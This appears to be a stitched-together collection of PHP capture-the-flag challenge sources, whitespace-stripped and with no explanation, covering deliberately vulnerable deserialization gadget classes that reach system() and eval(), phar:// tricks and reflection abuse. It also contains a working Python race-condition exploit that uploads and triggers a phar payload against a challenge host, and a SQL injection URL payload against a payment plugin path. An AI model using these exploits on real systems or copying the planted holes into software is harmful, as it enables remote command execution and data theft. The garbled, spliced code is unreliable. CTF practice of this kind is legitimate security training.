<?phphighlight_file(__FILE__);classfilter{public$filename;public$filecontent;public$evilfile=false;public$admin=false;publicfunction__construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}publicfunctioncheckevil(){if(preg_match('/php|\.\./i',$this->filename)){$this->evilfile=true;}if(preg_match('/flag/i',$this->filecontent)){$this->evilfile=true;}return$this->evilfile;}publicfunction__destruct(){if($this->evilfile&&$this->admin){system('rm '.$this->filename);}}}if(isset($_GET['fn'])){$content=file_get_contents('php://input');$f=newfilter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'],$content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo'work done';}}else{echo'where is flag?';}whereisflag?
importrequestsimportthreadingurl="http://dd9d543e-beb7-4628-b01b-7f0490c24cb9.challenge.ctf.show/"data=open('./phar.phar','rb').read()target=Truedefwrite():requests.post(url=url+"?fn=phar.phar",data=data)defunserialize():globaltargetr=requests.get(url=url+"?fn=phar://phar.phar")# if "php" in r.text and target:if"ctfshow{"inr.textandtarget:print(r.text)target=Falsewhiletarget:threading.Thread(target=write).start()threading.Thread(target=unserialize).start()
//func.php
<?phpinclude'class.php';if(isset($_POST["submit"])&&isset($_POST["url"])){if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){die("Go away!");}else{$file_path=$_POST['url'];$file=newFile($file_path);$file->getMIME();echo"<p>Your file type is '$file' </p>";}}?>
//class.php
<?phpinclude'config.php';classFile{public$file_name;public$type;public$func="Check";function__construct($file_name){$this->file_name=$file_name;}function__wakeup(){$class=newReflectionClass($this->func);$a=$class->newInstanceArgs($this->file_name);$a->check();}functiongetMIME(){$finfo=finfo_open(FILEINFO_MIME_TYPE);$this->type=finfo_file($finfo,$this->file_name);finfo_close($finfo);}function__toString(){return$this->type;}}classCheck{public$file_name;function__construct($file_name){$this->file_name=$file_name;}functioncheck(){$data=file_get_contents($this->file_name);if(mb_strpos($data,"<?")!==FALSE){die("<? in contents!");}}}
<?phpinclude'config.php';classAd{public$cmd;public$clazz;public$func1;public$func2;public$func3;public$instance;public$arg1;public$arg2;public$arg3;function__construct($cmd,$clazz,$func1,$func2,$func3,$arg1,$arg2,$arg3){$this->cmd=$cmd;$this->clazz=$clazz;$this->func1=$func1;$this->func2=$func2;$this->func3=$func3;$this->arg1=$arg1;$this->arg2=$arg2;$this->arg3=$arg3;}functioncheck(){$reflect=newReflectionClass($this->clazz);$this->instance=$reflect->newInstanceArgs();$reflectionMethod=newReflectionMethod($this->clazz,$this->func1);$reflectionMethod->invoke($this->instance,$this->arg1);$reflectionMethod=newReflectionMethod($this->clazz,$this->func2);$reflectionMethod->invoke($this->instance,$this->arg2);$reflectionMethod=newReflectionMethod($this->clazz,$this->func3);$reflectionMethod->invoke($this->instance,$this->arg3);}function__destruct(){system($this->cmd);}}if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){if(isset($_POST['admin'])){$cmd=$_POST['cmd'];$clazz=$_POST['clazz'];$func1=$_POST['func1'];$func2=$_POST['func2'];$func3=$_POST['func3'];$arg1=$_POST['arg1'];$arg2=$_POST['arg2'];$arg2=$_POST['arg3'];$admin=newAd($cmd,$clazz,$func1,$func2,$func3,$arg1,$arg2,$arg3);$admin->check();}}else{echo"You r not admin!";}
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_select*from`order_pay`where1=1unionselect1,2,user(),4,5,6,7,8,9,10,11,12#`where`order_id`='pay` where 1=1 union select 1,2,user(),4,5,6,7,8,9,10,11,12#_'limit1
//upload.php
<metahttp-equiv="Content-Type"content="text/html; charset=utf-8"/><formaction=""method="post"enctype="multipart/form-data">上传文件<inputtype="file"name="file"/><inputtype="submit"name="submit"value="上传"/></form><?phperror_reporting(0);classUploader{public$Filename;public$cmd;public$token;function__construct(){$sandbox=getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext=".txt";@mkdir($sandbox,0777,true);if(isset($_GET['name'])and!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i",$_GET['name'])){$this->Filename=$_GET['name'];}else{$this->Filename=$sandbox.$_SESSION['user'].$ext;}$this->cmd="echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token=$_SESSION['user'];}functionupload($file){global$sandbox;global$ext;if(preg_match("[^a-z0-9]",$this->Filename)){$this->cmd="die('illegal filename!');";}else{if($file['size']>1024){$this->cmd="die('you are too big (′▽`〃)');";}else{$this->cmd="move_uploaded_file('".$file['tmp_name']."', '".$this->Filename."');";}}}function__toString(){global$sandbox;global$ext;// return $sandbox.$this->Filename.$ext;
return$this->Filename;}function__destruct(){if($this->token!=$_SESSION['user']){$this->cmd="die('check token falied!');";}eval($this->cmd);}}if(isset($_FILES['file'])){$uploader=newUploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo"下面是你上传的文件:<br>".$uploader."<br>";echofile_get_contents($uploader);}}?>
<?phphighlight_file(__FILE__);functionwaf($data){if(is_array($data)){die("Cannot transfer arrays");}if(preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i',$data)){die("You can't do");}}classair{public$p;publicfunction__set($p,$value){$p=$this->p->act;echonew$p($value);}}classtree{public$name;public$act;publicfunction__destruct(){return$this->name();}publicfunction__call($name,$arg){$arg[1]=$this->name->$name;}}classapple{public$xxx;public$flag;publicfunction__get($flag){$this->xxx->$flag=$this->flag;}}classD{public$start;publicfunction__destruct(){$data=$_POST[0];if($this->start=='w'){waf($data);$filename="/tmp/".md5(rand()).".jpg";file_put_contents($filename,$data);echo$filename;}elseif($this->start=='r'){waf($data);$f=file_get_contents($data);if($f){echo"It is file";}else{echo"You can look at the others";}}}}classbanana{publicfunction__get($name){return$this->$name;}}// flag in /
if(strlen($_POST[1])<55){$a=unserialize($_POST[1]);}else{echo"str too long";}thrownewError("start");?>Fatal error: Uncaught Error: start in /var/www/html/index.php:80 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 80